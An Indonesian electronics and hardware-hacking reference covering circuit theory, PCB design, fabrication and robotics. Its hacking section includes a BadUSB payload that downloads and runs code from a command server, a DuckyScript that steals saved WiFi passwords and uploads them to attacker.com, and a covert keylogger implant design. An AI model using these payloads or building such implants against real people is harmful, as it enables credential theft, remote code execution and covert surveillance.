ELEKTRONIKA
Hardware · PCB · Hacking

Konsep & Hukum Dasar

Elektronika adalah ilmu yang mempelajari kontrol aliran elektron dalam material konduktor dan semikonduktor untuk memproses informasi atau energi. Semua perangkat keras — dari sensor IoT hingga firmware exploit platform — berakar pada prinsip-prinsip berikut.

Besaran Dasar Listrik

Hukum Ohm

Fondasi analisis rangkaian DC sederhana:

Hukum Kirchhoff

KCL — Kirchhoff's Current Law

Jumlah arus masuk ke sebuah node = jumlah arus keluar. Arus tidak dapat "hilang" di node.

KVL — Kirchhoff's Voltage Law

Jumlah aljabar tegangan dalam loop tertutup = 0.

Rangkaian Seri vs Paralel

Thevenin & Norton

Dua teorema yang memungkinkan menyederhanakan jaringan kompleks menjadi model sederhana:

• Thevenin: Sumber tegangan V_th + resistansi R_th seri
• Norton: Sumber arus I_N + resistansi R_N paralel
• Hubungan: V_th = I_N × R_N, R_th = R_N

Analisis AC — Impedansi & Reaktansi

Di mana ω = 2πf (frekuensi sudut, rad/s).

Filter RC Dasar

Resistor, Kapasitor & Induktor

Resistor

Komponen paling fundamental — membatasi arus dan membagi tegangan. Tersedia dalam package THT (through-hole) dan SMD.

Kode Warna Resistor THT

Package SMD — Kode EIA

Kapasitor

Menyimpan dan melepas energi dalam medan listrik. Tiga jenis utama yang perlu dikuasai:

Decoupling Capacitor

Setiap IC wajib punya decoupling cap 100nF (0.1µF) keramik sedekat mungkin ke pin VCC. Fungsi: menyaring noise power supply, menyediakan burst current saat switching.

/* Aturan decoupling praktis */
- 100nF MLCC: tiap IC, sedekat mungkin ke pin VCC
- 10µF MLCC/tantalum: tiap subsistem (MCU, modul RF, dll)
- 100µF+ elektrolit: di input/output regulator
- Seri ESR vs kapasitansi: C_bypass = I_transient / (ΔV × f_switch)

Induktor & Transformator

Induktor menyimpan energi dalam medan magnet. Kritikal di:

• Buck/boost converter — komponen switching utama
• Ferrite bead — filter EMI pada jalur power (impedansi tinggi di frekuensi tinggi)
• Common-mode choke — filter noise common-mode di USB, Ethernet
• RF choke — blokir RF masuk ke power supply

Semikonduktor & IC Analog

Dioda

Transistor BJT

Bipolar Junction Transistor — tiga terminal: Base, Collector, Emitter. Dua tipe: NPN dan PNP.

Mode operasi:

• Cut-off: I_B = 0, transistor OFF. Gunakan sebagai switch OFF.
• Saturasi: V_CE ≈ 0.2V, transistor ON penuh. Gunakan sebagai switch ON.
• Aktif: I_C = β×I_B, gunakan sebagai amplifier.

Contoh Driver LED / Relay dengan BJT NPN (misal 2N2222, BC547)

/* Resistor basis: R_B = (V_logic - V_BE) / I_B_sat */
/* I_B_sat = I_C / β × 10 (faktor saturasi 10) */
V_logic = 3.3V, V_BE = 0.7V, I_C = 100mA, β = 100
I_B_sat = (100mA / 100) × 10 = 10mA
R_B = (3.3 - 0.7) / 0.01 = 260Ω → gunakan 220Ω

MOSFET

Metal-Oxide-Semiconductor FET — dikendalikan tegangan (Gate), bukan arus. Jauh lebih efisien untuk switching daya. Terminal: Gate (G), Drain (D), Source (S).

MOSFET sebagai High-Side Switch

Untuk switch N-Channel high-side, butuh gate voltage > V_source + V_th → perlu bootstrap circuit atau gate driver IC. Alternatif: P-Channel MOSFET (lebih mudah drive tapi R_DS(on) lebih tinggi).

Op-Amp (Operational Amplifier)

IC analog serbaguna. Input differensial (+, -), satu output. Aturan dasar:

• Input impedansi sangat tinggi (teoritis ∞)
• Output impedansi sangat rendah (teoritis 0)
• Open-loop gain sangat besar (105 – 106)

Konfigurasi Umum

Voltage Regulator

Elektronika Digital

Logika Digital & Gerbang Logika

Level Tegangan Logika

Flip-Flop & Register

Elemen memori dasar logika digital:

• D Flip-Flop: Output Q mengikuti input D di clock edge. Dasar register shift.
• SR Flip-Flop: Set/Reset. Dasar latch dan debouncer tombol.
• JK Flip-Flop: Toggle, Set, Reset — paling fleksibel.
• T Flip-Flop: Toggle di setiap clock — dasar binary counter.

ADC & DAC

PWM — Pulse Width Modulation

Output digital yang merepresentasikan nilai analog melalui duty cycle. Hampir semua MCU punya timer PWM hardware.

Penggunaan: kontrol motor (kecepatan), LED dimmer, sinyal servo, DAC sederhana (PWM + filter RC).

Mikrokontroler & SoC

Perbandingan Platform Populer

SoC untuk Embedded Linux

GPIO & Peripheral Interface

/* Peripheral mapping tipikal STM32 */
PA0–PA15  : GPIO Port A (bisa dikonfigurasi sebagai ADC, Timer, dll)
USART1    : PA9 (TX), PA10 (RX)
SPI1      : PA5 (SCK), PA6 (MISO), PA7 (MOSI), PA4 (NSS)
I2C1      : PB6 (SCL), PB7 (SDA)
USB FS    : PA11 (D-), PA12 (D+)
JTAG      : PA13 (SWDIO), PA14 (SWCLK), PB3 (TDO), PA15 (TDI)

/* Alternate Function (AF) harus dikonfigurasi di register MODER, AFRL/AFRH */

Protokol Serial & Debug

UART — Universal Async Receiver/Transmitter

Protokol paling sederhana, asinkron, point-to-point. Tidak ada clock line terpisah — kedua sisi harus agree pada baud rate.

Identifikasi UART di PCB (untuk Hardware Hacking)

1. Cari test point / header 3–4 pin berdekatan
2. Gunakan multimeter: pin GND → 0V, VCC → 3.3/5V
3. TX pin: saat boot ada logic toggling (oscilloscope/logic analyzer)
4. TX tegangan idle = HIGH (VCC level), RX = resistor pull-up
5. Hubungkan ke USB-UART (CP2102, CH340, FT232) dengan level yang sesuai
6. minicom / screen / picocom pada Linux:
screen /dev/ttyUSB0 115200

SPI — Serial Peripheral Interface

Protokol sinkron, full-duplex, master-slave. Kecepatan bisa mencapai puluhan MHz.

SPI Mode (CPOL/CPHA):

I2C — Inter-Integrated Circuit

Dua kabel (SCL + SDA), multi-master multi-slave, tiap device punya alamat 7-bit atau 10-bit.

Protokol I2C address scan (untuk recon hardware):

# Scan I2C bus dengan i2c-tools (Linux)
i2cdetect -y 1   # bus 1 (/dev/i2c-1)
# Output: grid address 0x00–0x7F, 'UU'=used, '--'=empty, hex=ditemukan

# Baca register dari device address 0x48
i2cget -y 1 0x48 0x00

JTAG — Joint Test Action Group

Protokol debug hardware via IEEE 1149.1. Dapat mengakses CPU registers, memory, flash programming, dan boundary scan.

SWD — Serial Wire Debug

Versi 2-pin dari JTAG dari ARM. Lebih ringkas, sama powerful untuk debug Cortex-M.

USB — Universal Serial Bus

Kabel USB 2.0: VBUS(5V), D-, D+, GND. Sinyal diferensial D+/D- untuk noise immunity.

CAN Bus

Protokol robust untuk otomotif dan industri — diferensial (CAN_H, CAN_L), multi-master, hingga 1Mbps. Penting untuk automotive hacking dan robotika industri. Terminator 120Ω di kedua ujung bus wajib.

RF & Wireless Communication

Konsep Dasar RF

Modulasi

Protokol Wireless Populer

SDR — Software Defined Radio

Hardware RF yang fungsi modulasi/demodulasi dilakukan oleh software. Ideal untuk SIGINT dan wireless security research.

Desain PCB Profesional

Alur Desain PCB

ALUR DESAIN PCB:

1. Schematic Capture
   ├─ Gambar skematik di KiCad / Altium / EasyEDA
   ├─ Assign footprint ke tiap simbol
   └─ Run ERC (Electrical Rules Check)

2. PCB Layout
   ├─ Import netlist dari schematic
   ├─ Place komponen (critical first: IC, connector, power)
   ├─ Route traces (power/ground first)
   ├─ Pour copper ground plane
   └─ Run DRC (Design Rules Check)

3. Design Review
   ├─ Cek clearance: trace-to-trace, pad-to-pad
   ├─ Verifikasi decoupling cap placement
   ├─ Signal integrity check (panjang trace kritis)
   └─ Thermal analysis (komponen berdaya tinggi)

4. Gerber Generation
   ├─ Copper layers (F.Cu, B.Cu, inner layers)
   ├─ Solder mask (F.Mask, B.Mask)
   ├─ Silkscreen (F.Silkscreen, B.Silkscreen)
   ├─ Drill file (.drl / Excellon)
   └─ BOM + CPL (centroid/placement file)

5. Fabrication
   ├─ Upload ke fab: JLCPCB, PCBWay, OSHPark
   └─ Pilih: layer count, thickness, finish, color

Tools Desain PCB

Design Rules — Aturan Dasar

Trace Width vs Current

Lebar trace harus cukup untuk arus yang mengalir. Gunakan IPC-2221 calculator atau rumus:

Di mana k=0.048 (internal), 0.048 (external), ΔT = temperature rise (°C), th = thickness (oz).

Layer, Stackup & Via Types

PCB Layer Types

Stackup 4-Layer (Recommended)

STACKUP 4-LAYER STANDAR:
┌─────────────────────────────────┐
│  Layer 1: Signal (F.Cu)         │  ← Komponen, signal traces
│  Prepreg (0.1mm)                │
│  Layer 2: GND Plane (In1.Cu)    │  ← Ground plane solid
│  Core (1.2mm)                   │
│  Layer 3: Power Plane (In2.Cu)  │  ← VCC planes berbeda tegangan
│  Prepreg (0.1mm)                │
│  Layer 4: Signal (B.Cu)         │  ← Signal traces, komponen
└─────────────────────────────────┘

Benefits:
- GND plane solid = impedansi referensi stabil = SI lebih baik
- EMI jauh lebih rendah dari 2-layer
- Crosstalk minimal antara Layer 1 dan 4

Via Types

Copper Pour & Ground Plane

Selalu isi area kosong dengan copper pour yang dihubungkan ke GND. Manfaat:

• Low-impedance return path untuk signal
• Mengurangi EMI radiasi
• Heatspreading untuk komponen panas
• Mechanical stability (warp reduction)

Gunakan thermals (spoke pad) untuk via dan pad THT agar mudah disolder. Gunakan solid pour untuk high-current atau thermal pad IC power.

Differential Pair Routing

Untuk USB D+/D-, Ethernet, PCIe, HDMI — trace harus:

• Panjang sama (matched length, maksimal ±0.1mm perbedaan)
• Spacing konsisten (biasanya 2×W, di mana W = trace width)
• Tidak melewati via jika mungkin
• Impedansi target: USB=90Ω diff, Ethernet=100Ω diff, PCIe=85Ω diff

Fabrikasi PCB & Assembly (PCBA)

Proses Fabrikasi PCB

PROSES FABRIKASI (simplified):

1. Laminate cutting dari FR4 (glass-epoxy) dengan copper foil
2. Inner layer imaging: film fotoresist + UV expose + etching
3. Layer lamination: press dengan suhu/tekanan tinggi
4. Drilling: mechanical drill (through-hole) / laser (micro via)
5. Plating: electroless copper deposit ke dinding hole
6. Outer layer imaging + etching
7. Solder mask apply (LPI — Liquid Photo Imageable)
8. Surface finish deposit
9. Silkscreen printing
10. Electrical test (flying probe atau bed of nails)
11. Routing/depanelization + visual inspection

Surface Finish

SMT Assembly Process

PROSES PCBA SMT:

1. Solder Paste Printing
   ├─ Stencil baja (laser cut) 0.12–0.15mm thick
   └─ Squeegee paste di atas stencil

2. Component Placement
   ├─ Pick & Place machine (PnP)
   ├─ Input: centroid file (X, Y, rotation, reference)
   └─ Komponen: dari tape reel, tray, atau tube

3. Reflow Soldering
   ├─ Preheat zone (ramp up 1–3°C/s → 150–180°C)
   ├─ Soak zone (150–180°C, 60–120s, flux activation)
   ├─ Reflow zone (puncak 235–250°C, ≤30s)
   └─ Cooling (maks 4°C/s ke bawah, cegah crack)

4. Inspection
   ├─ AOI (Automated Optical Inspection)
   ├─ X-ray (untuk BGA, QFN dengan hidden solder ball)
   └─ Manual inspection

5. Through-Hole Soldering
   ├─ Selective soldering atau
   └─ Wave soldering

Defek Solder Umum dan Penyebab

BOM Management & Sourcing Komponen

Bill of Materials (BOM)

BOM adalah daftar lengkap semua komponen dalam produk. Kolom esensial untuk PCB manufacturing:

Kolom BOM minimal untuk PCBA:
Reference  : R1, C3, U2, ...
Value      : 10kΩ, 100nF, STM32F103C8
Footprint  : 0402, 0805, LQFP48
Quantity   : per board
MPN        : Manufacturer Part Number (e.g. RC0402FR-0710KL)
Manufacturer: Yageo, Murata, STMicro
Description: Resistor 10kΩ 1% 62.5mW
LCSC PN    : C25804 (untuk order via JLCPCB/LCSC)

Sumber Komponen

Fabrikasi PCB — Harga Perbandingan

Hardware Recon & PCB Reverse Engineering

Tahapan Hardware Security Assessment

METHODOLOGY:
1. OSINT      : FCC ID database, datasheet, GitHub, Shodan
2. Physical   : Bongkar enclosure, foto PCB, ID komponen
3. Recon      : Identifikasi MCU, flash chip, debug interface
4. Access     : UART console, JTAG/SWD, SPI dump
5. Firmware   : Extract, analisis binwalk, strings, reverse
6. Vulnerability: Temukan bug, exploit
7. Persistence: Backdoor, implant, modifikasi firmware

Identifikasi Komponen di PCB

Langkah-langkah identifikasi chips saat recon:

• IC marking: Baca tulisan di chip. Format: logo mfr + part number + date code + lot
• Googling marking: Cari langsung. Chips custom kadang diobfuskasi (marking palsu atau dihapus)
• Package inference: QFP-64 → MCU menengah. BGA → SoC kompleks. SOIC-8 → Flash/EEPROM/OpAmp
• FCC ID: Setiap produk wireless yang dijual di AS punya FCC ID — fccid.io menyimpan foto internal PCB
• Test points: Cari via exposed atau header 2–10 pin. Biasanya UART, JTAG, atau power

Alat Hardware Hacking Esensial

JTAG & SWD Debug Access

Menemukan JTAG Pins (JTAGulator / Manual)

# Menggunakan JTAGulator (tool khusus)
# Hubungkan test points ke channel JTAGulator
# Set voltase target (1.8V / 3.3V / 5V)
# Run BYPASS scan untuk enumerate semua pin:
Target voltage: 3.3V
Number of channels: 8
Run BYPASS → otomatis scan kombinasi TCK/TMS/TDI/TDO

# Atau manual dengan oscilloscope/logic analyzer:
# Pin TCK: square wave saat aktif
# Pin TDO: output saat chain scan, perlu probe saat reset

OpenOCD — Open On-Chip Debugger

# Install
sudo apt install openocd

# Koneksi ke STM32 via ST-Link + SWD
openocd -f interface/stlink.cfg -f target/stm32f1x.cfg

# Di telnet (port 4444) atau GDB (port 3333):
telnet localhost 4444

# Di OpenOCD CLI:
> halt                         # Halt CPU
> reg                          # Lihat semua registers
> mdw 0x08000000 32           # Dump 32 words dari flash
> dump_image fw.bin 0x08000000 0x20000  # Dump firmware
> flash write_image erase patched.bin 0x08000000  # Flash firmware
> reset run

Mengatasi Read Protection (RDP)

UART / Serial Console Access

Workflow UART Console Attack

1. Identifikasi & konfirmasi pins (lihat §06 di atas)

2. Sambungkan USB-UART adapter:
   Device TX → Adapter RX
   Device RX → Adapter TX
   Device GND → Adapter GND
   JANGAN hubungkan VCC kecuali device tidak punya power!
   Pastikan level voltage match (3.3V device + 5V adapter = RUSAK)

3. Tentukan baud rate jika tidak diketahui:
   # Hitung secara manual dari oscilloscope:
   # Baud = 1 / (lebar bit terpendek dalam detik)
   # Atau coba automated dengan minicom/putty
   # Baud rate umum: 9600, 38400, 57600, 115200, 230400

4. Buka terminal:
   screen /dev/ttyUSB0 115200
   # atau
   minicom -b 115200 -D /dev/ttyUSB0

5. Power on target — amati output boot

Hal yang Dicari di Boot Log

• OS version & kernel version
• U-Boot messages (bootloader) — sering bisa interrupt boot dengan key
• Filesystem mount points
• Network interface MAC & IP
• Error messages yang mengandung path, library, binary names
• Login prompt — coba default credentials (admin/admin, root/root, root/blank)

U-Boot Exploitation

# Interrupt U-Boot dengan tekan 'any key' saat countdown:
3... 2... 1... [tekan Enter/Space]
U-Boot >

# U-Boot commands berguna:
printenv              # Lihat environment variables
setenv bootargs "... init=/bin/sh"  # Boot ke shell
md.l 0x80000000 64    # Memory dump 64 words
mw.l 0x80000000 0x1234 # Memory write
nand read 0x81000000 0x0 0x100000  # Baca NAND flash ke RAM
tftp 0x81000000 firmware.bin       # Load via TFTP

SPI Flash & EEPROM Dump

Identifikasi Flash Chip

Flash SPI NOR biasanya SOIC-8 atau WSON-8. Chip populer:

Dump dengan CH341A + flashrom

# Install flashrom
sudo apt install flashrom

# Hubungkan clip SOIC-8 ke CH341A dan ke chip
# Pin assignment SOIC-8 (Winbond W25Q):
# 1=CS, 2=MISO(DO), 3=WP#, 4=GND, 5=MOSI(DI), 6=CLK, 7=HOLD#, 8=VCC

# Detect chip
flashrom -p ch341a_spi

# Dump firmware
flashrom -p ch341a_spi -r firmware_dump.bin

# Verifikasi dump (baca 2x, bandingkan)
flashrom -p ch341a_spi -r firmware_dump2.bin
md5sum firmware_dump.bin firmware_dump2.bin

# Tulis firmware termodifikasi
flashrom -p ch341a_spi -w modified_firmware.bin

Analisis Firmware dengan binwalk

# Signature scan
binwalk firmware_dump.bin

# Extract semua filesystem/archive
binwalk -e firmware_dump.bin

# Recursive extract
binwalk -Me firmware_dump.bin

# Entropy analysis (detect encrypted sections)
binwalk -E firmware_dump.bin

# Output setelah extract: /root/_firmware_dump.bin.extracted/
# Cari: /etc/passwd, /etc/shadow, credentials, private keys, hardcoded creds
grep -r "password" ./_firmware_dump.bin.extracted/ 2>/dev/null
find . -name "*.pem" -o -name "*.key" -o -name "id_rsa"

In-Circuit Dump (tanpa desoldering)

Chip dapat dibaca in-circuit jika MCU di-halt terlebih dahulu (via JTAG/SWD). Pastikan:

• Target system OFF atau MCU di-halt agar tidak conflict di SPI bus
• Pull CS line ke HIGH secara manual untuk isolasi sementara jika perlu
• Clip Pomona 5250 atau IC test clip 8-pin untuk akses non-destructive

Fault Injection & Voltage Glitching

Konsep Fault Injection

Menyebabkan kesalahan sementara pada hardware untuk bypass proteksi, skip instruksi, atau corrupt critical data. Dua teknik utama:

Parameter Glitch

Setup Glitch DIY (Budget)

/* Minimal DIY glitch setup dengan MOSFET cepat */
/* N-Channel MOSFET (BSS138 atau AO3400) sebagai shunt ke GND */

Komponen:
- MOSFET N-CH: AO3400 atau BSS138
- Resistor gate: 10Ω (jaga stabilitas)
- Kapasitor decoupling: 10µF dekat target VCC
- MCU controller: STM32 atau RP2040 (resolusi timer ns)

Koneksi:
Target VCC ─── 10Ω ─── MOSFET Drain
MOSFET Source → GND
MOSFET Gate ← Controller GPIO (via 10Ω)

/* Pulse GPIO HIGH selama Tglitch nanoseconds */
/* Timing kritis — gunakan DMA atau hardware timer */

Side-Channel Analysis (SCA)

Jenis Side-Channel Attack

Setup Power Analysis Minimal

/* Shunt resistor method */
/* Pasang resistor 10–100Ω seri di jalur GND target */
/* Ukur tegangan drop = proportional ke arus = proportional ke aktivitas CPU */

Target GND ─── 10Ω shunt ─── GND
                    │
              Oscilloscope CH1
              (differential probe atau
               probe CH1 dan CH2,
               ukur differential)

/* Setup ChipWhisperer — lebih bersih: */
/* CWNano board punya built-in shunt + 10-bit/200MSps ADC */
/* Capture power trace saat target mengeksekusi crypto */

DPA — Differential Power Analysis (Konsep)

/* DPA attack terhadap AES: */
1. Encrypt banyak plaintext acak (biasanya 1000–100000 traces)
2. Rekam power trace tiap operasi
3. Pilih target intermediate value (misal: output S-Box byte ke-0)
4. Untuk setiap kandidat key byte (0–255):
   - Hitung prediksi intermediate value untuk tiap plaintext
   - Bagi traces ke dua kelompok berdasarkan bit target
   - Hitung difference-of-means
5. Kandidat key yang menghasilkan peak korelasi tertinggi = key byte yang benar

Bad USB & HID Attack Devices

Prinsip Bad USB

USB HID (Human Interface Device) attack — perangkat menyamar sebagai keyboard/mouse, diterima OS tanpa driver khusus, mengirim keystroke otomatis.

Platform Bad USB

Build DIY Bad USB — STM32F103 (BluePill)

/* STM32F103C8T6 (BluePill) sebagai HID keyboard */
/* Framework: Arduino + USB_HID library atau libopencm3 */

// Contoh payload sederhana (Arduino + Keyboard.h)
#include <Keyboard.h>

void setup() {
  Keyboard.begin();
  delay(1000); // Tunggu OS recognize device
  
  // Windows: buka Run dialog, jalankan PowerShell
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  
  Keyboard.print("powershell -w h -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://c2/p')\");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void loop() {}

Rubber Ducky Script (DuckyScript 3.0)

REM Exfil WiFi passwords via PowerShell
DELAY 1000
GUI r
DELAY 500
STRING powershell -NoP -W Hidden -Exec Bypass
ENTER
DELAY 800
STRING (netsh wlan show profiles) | Select-String ':(.*)' | %{$n=$_.Matches.Groups[1].Value.Trim(); $p=(netsh wlan show profile name="$n" key=clear) -match 'Key Content.*: (.*)'; if($p){Write-Output "$n : $(($p[0] -split ':')[1].Trim())"}} | Out-File $env:TEMP\w.txt; curl -F 'f=@$env:TEMP\w.txt' https://attacker.com/u
ENTER

WiFi Attack Hardware

Platform WiFi Attack

Build DIY Deauther dengan ESP8266

/* ESP8266 Deauther — firmware: github.com/SpacehuhnTech/esp8266_deauther */
/* Upload firmware via Arduino IDE + ESP8266 board package */
/* Interface: WiFi AP "pwned" atau Serial CLI */

Board settings Arduino:
Board      : NodeMCU 1.0 / Generic ESP8266 Module
Flash Size : 4MB (1MB SPIFFS)
Upload Speed: 115200

Setelah flash, connect ke AP "pwned" password "deauther"
Web interface di 192.168.4.1
Fitur: scan → pilih target → deauth/beacon/probe attack

WiFi Adapter untuk Monitor Mode & Injection

SDR & SIGINT Collection

Setup SIGINT dengan RTL-SDR + GNU Radio / SDR#

# Install GNU Radio + RTL-SDR drivers (Linux)
sudo apt install gnuradio rtl-sdr gr-osmosdr

# Test RTL-SDR
rtl_test -t

# Capture raw IQ sample ke file
rtl_sdr -f 433920000 -s 2000000 -g 40 capture.iq

# Decode berbagai protokol dengan multimode:
rtl_433 -f 433920000   # Auto-decode ISM 433MHz devices
dump1090 --interactive  # ADS-B (aircraft tracking)
rtl_fm -f 100.1e6 -M wbfm -r 44100 | aplay -r 44100 -f S16_LE  # FM radio

Target Sinyal untuk SIGINT Research

Replay Attack — Remote Controls

/* Capture dan replay sinyal remote 433MHz */

# Dengan HackRF One:
# Capture
hackrf_transfer -r capture.raw -f 433920000 -s 8000000 -l 40 -g 62

# Replay (transmit)
hackrf_transfer -t capture.raw -f 433920000 -s 8000000 -x 47

# Analisis dengan Universal Radio Hacker (URH)
# GUI tool untuk capture, analyze, decode, fuzzing protokol RF
pip3 install urh
urh  # Launch GUI

Flipper-Class Multi-Attack Devices

Flipper Zero — Arsitektur Hardware

Build Clone Flipper — Budget Alternative

Komponen untuk build multi-tool device sendiri:

Implant & Covert Hardware Design

Desain Implant Hardware — Prinsip

Perangkat implant dirancang untuk miniaturisasi, daya rendah, dan deteksi minimal:

• Ukuran minimal: Target PCB <20×20mm. Gunakan komponenBGA dan 0201/0402.
• Daya rendah: Sleep mode sebagian besar waktu. Wake on RF/trigger.
• RF covert: Transmit burst singkat. Frequency hop. Spread spectrum.
• Power harvesting: RF energy harvest (915MHz), USB VBUS, atau sel surya kecil.
• Tamper resistance: Epoxy encapsulation, mesh tamper detection.

Contoh Implant Platform Minimal

MINIMAL KEYLOGGER/EXFIL IMPLANT:

MCU     : nRF52840 (ARM CM4, BLE 5.0, Ultra-low power)
Storage : W25Q32 SPI Flash (4MB keylog buffer)
Radio   : Onboard BLE (native) + optional CC1101 SPI
Power   : USB VBUS 5V → AMS1117-3.3 LDO → nRF
PCB     : 4-layer, 18×22mm

/* Operasi: */
- Masuk antara keyboard USB dan host
- Log setiap keystroke ke SPI flash
- Expose BLE endpoint untuk dump via app
- Atau: inject ke WiFi AP terdekat via nRF Wifi (nRF7002)

/* Form factor: PCB terenkapulasi epoxy dalam enclosure mirip USB hub */

Motor & Aktuator untuk Robotika

Jenis Motor

H-Bridge — Driver Motor DC

Sirkuit 4 switch yang memungkinkan motor berputar dua arah:

/* Konfigurasi H-Bridge */
        VCC
    SW1 │ SW2
    ────┼────
  SW3 │ │ │ SW4
    ──┴─┴─┴──
       GND

Forward : SW1+SW4 ON, SW2+SW3 OFF
Reverse : SW2+SW3 ON, SW1+SW4 OFF
Brake   : SW1+SW2 ON atau SW3+SW4 ON
Coast   : Semua OFF

/* IC H-Bridge populer: */
- L293D    : 600mA/ch, 4.5–36V, internal dioda, 2 motor
- L298N    : 2A/ch, 5–46V, populer untuk medium robot
- DRV8833  : 1.5A/ch, 2.7–10.8V, compact, low quiescent
- TB6612FNG: 1.2A/ch, 2.7–13.5V, efisien, compact
- BTS7960  : 43A, untuk motor besar (kendaraan)

Stepper Motor Driver

Servo Control

/* Standard RC Servo: PWM 50Hz (20ms period) */
/* Pulse width menentukan posisi: */
/* 1ms (0°) ... 1.5ms (90°) ... 2ms (180°) */

// Arduino servo example
#include <Servo.h>
Servo myServo;
myServo.attach(9);   // GPIO9
myServo.write(90);  // 90 derajat

// STM32 HAL — PWM direct:
// TIM period = 20ms, pulse width = 1000–2000 us
TIM2->CCR1 = 1500;  // 1.5ms = 90 degrees

Sensor & Persepsi Robot

Kategori Sensor

MPU6050 — IMU I2C

/* MPU6050: 3-axis accel + 3-axis gyro, DMP onboard */
/* I2C address: 0x68 (AD0=LOW) atau 0x69 (AD0=HIGH) */

/* Register penting: */
PWR_MGMT_1   = 0x6B  // Wake up: write 0x00
ACCEL_XOUT_H = 0x3B  // 6 bytes: AX, AY, AZ (big-endian 16-bit)
GYRO_XOUT_H  = 0x43  // 6 bytes: GX, GY, GZ
TEMP_OUT_H   = 0x41  // Temperature

/* Full-scale range */
Accel: ±2g / ±4g / ±8g / ±16g (default ±2g, LSB = 16384/g)
Gyro:  ±250 / ±500 / ±1000 / ±2000 dps (default ±250, LSB = 131/(°/s))

/* Konversi: */
accel_x_ms2 = raw_x / 16384.0 × 9.81
gyro_x_dps  = raw_x / 131.0

Sistem Kontrol & PID

Kontrol Loop Dasar

/* Closed-loop control system */
Setpoint → [Controller] → [Plant/Actuator] → Output
                              ↑                   │
                         [Feedback] ←──────────────┘
                          (Sensor)

PID Controller

Proportional–Integral–Derivative — controller paling umum digunakan dalam robotika dan industri.

Implementasi PID Digital

typedef struct {
  float Kp, Ki, Kd;
  float integral, prev_error;
  float output_min, output_max;
  float dt;  // sampling time (seconds)
} PID_t;

float PID_update(PID_t *pid, float setpoint, float measurement) {
  float error      = setpoint - measurement;
  pid->integral   += error × pid->dt;
  
  /* Anti-windup clamp */
  if (pid->integral > pid->output_max / pid->Ki)
    pid->integral = pid->output_max / pid->Ki;
  
  float derivative = (error - pid->prev_error) / pid->dt;
  pid->prev_error  = error;
  
  float output = pid->Kp * error + pid->Ki * pid->integral + pid->Kd * derivative;
  
  /* Clamp output */
  if (output > pid->output_max) output = pid->output_max;
  if (output < pid->output_min) output = pid->output_min;
  
  return output;
}

Tuning PID — Metode Ziegler-Nichols

METODE ZIEGLER-NICHOLS:
1. Set Ki=0, Kd=0
2. Naikkan Kp pelan-pelan sampai output berosilasi stabil
3. Catat: Ku (ultimate gain) dan Tu (period osilasi)
4. Set nilai PID berdasarkan tabel:

P only  : Kp=0.5×Ku
PI      : Kp=0.45×Ku, Ki=0.54×Ku/Tu
PID     : Kp=0.6×Ku,  Ki=1.2×Ku/Tu, Kd=3×Ku×Tu/40

/* Untuk robotika modern: gunakan Auto-tuning library */
/* atau trial-error: P → PI → PID */

Power Supply & Manajemen Baterai

Baterai LiPo / Li-Ion

Charging IC — TP4056

IC charger LiPo populer untuk proyek DIY. Tegangan input 4–8V, output charge current max 1A (configurable via R_prog).

Contoh: R_prog = 1.2kΩ → I_charge = 833mA. LED merah = charging, LED biru = selesai.

Fuel Gauge — MAX17048

/* IC fuel gauge I2C untuk estimasi SOC (State of Charge) */
/* I2C address: 0x36 */
/* Register VCELL (0x02): voltase baterai, 78.125 µV per LSB */
/* Register SOC (0x04): % charge, 1/256% per LSB */

uint16_t vcell_raw = i2c_read16(0x36, 0x02);
float voltage = (vcell_raw >> 4) × 0.00125;  // Volts
uint16_t soc_raw = i2c_read16(0x36, 0x04);
float soc_pct = soc_raw / 256.0;  // Percent 0–100

Buck Converter — Hitung Nilai Komponen

/* Buck converter: Vin=12V, Vout=5V, Iout=2A, fsw=400kHz */

/* Duty cycle: */
D = Vout / Vin = 5/12 = 0.417 = 41.7%

/* Minimum induktansi (ripple current 20% Iout): */
ΔIL = 0.2 × 2A = 0.4A
L = (Vin - Vout) × D / (fsw × ΔIL)
L = (12-5) × 0.417 / (400000 × 0.4) = 18.2µH → pilih 22µH

/* Kapasitor output (ripple voltage 50mV): */
ΔV = ΔIL / (8 × fsw × Cout)
Cout = ΔIL / (8 × fsw × ΔV)
Cout = 0.4 / (8 × 400000 × 0.05) = 2.5µF → pilih 10µF (margin)

Peralatan Lab Elektronika

Oscilloscope

Instrumen paling penting untuk debug elektronika — menampilkan sinyal vs waktu.

Logic Analyzer

Capture dan decode digital signals — UART, SPI, I2C, CAN, I2S, dll.

• Saleae Logic 8: 8 channel, 100MHz, software decode sangat lengkap (~$500)
• FX2LAFW clone: Saleae clone, 8 channel, $10–20, kompatibel Sigrok/PulseView
• DreamSourceLab DSLogic: 16 channel, 400MHz, $100
• Oscilloscope MSO: Mixed signal oscilloscope = scope + logic analyzer

Multimeter

Bench Power Supply

Wajib punya adjustable DC supply untuk pengembangan:

• Spek minimal: 0–30V, 0–5A, CV/CC mode, display voltase+arus
• Recommended: Rigol DP832 (triple output, 30V/3A, 5V/3A, programmable)
• Budget: Korad KA3005P atau clone bench supply dari AliExpress
• Protip: Current limit ke arus minimal saat pertama menghidupkan PCB baru — proteksi dari short circuit

Software Analisis

Soldering & Rework SMD

Pilihan Solder

Suhu Soldering Iron

Teknik Solder SMD Manual

SMD DRAG SOLDER (untuk QFP/TQFP):
1. Flux lebih pada semua pin
2. Tin (tinning) tip iron dengan sedikit solder
3. Fix komponen: solder 2 pin sudut berlawanan
4. Apply flux lebih ke semua pin
5. Drag iron perlahan di sepanjang baris pin (30–45°)
6. Bridge akan terbentuk → hapus dengan wick/braid
7. Clean flux residue dengan IPA + brush

REFLOW HOT AIR (untuk QFN/BGA):
1. Apply solder paste ke pad (syringe atau stencil)
2. Tempatkan komponen dengan tweezer + alignment
3. Hot air gun: 350–380°C, flow rendah, circular motion
4. Tunggu solder reflow — komponen akan self-align
5. Cek dengan loupe atau microscope

Rework — Ganti IC SMD

PROSEDUR REMOVE IC dengan Hot Air:
1. Apply flux ke semua pin
2. Set hot air: 380–420°C (lead-free), flow 3–4
3. Panaskan merata dari atas/samping IC
4. Angkat dengan tweezer saat solder reflow (30–60 detik)
5. Bersihkan pad: wick + flux + iron
6. Verifikasi semua pad bersih dan flat

PASANG IC BARU:
1. Align pin 1 marker
2. Apply pasta flux ke pad
3. Place IC, konfirmasi alignment
4. Reflow dengan hot air atau via iron drag

Alat Rework Essential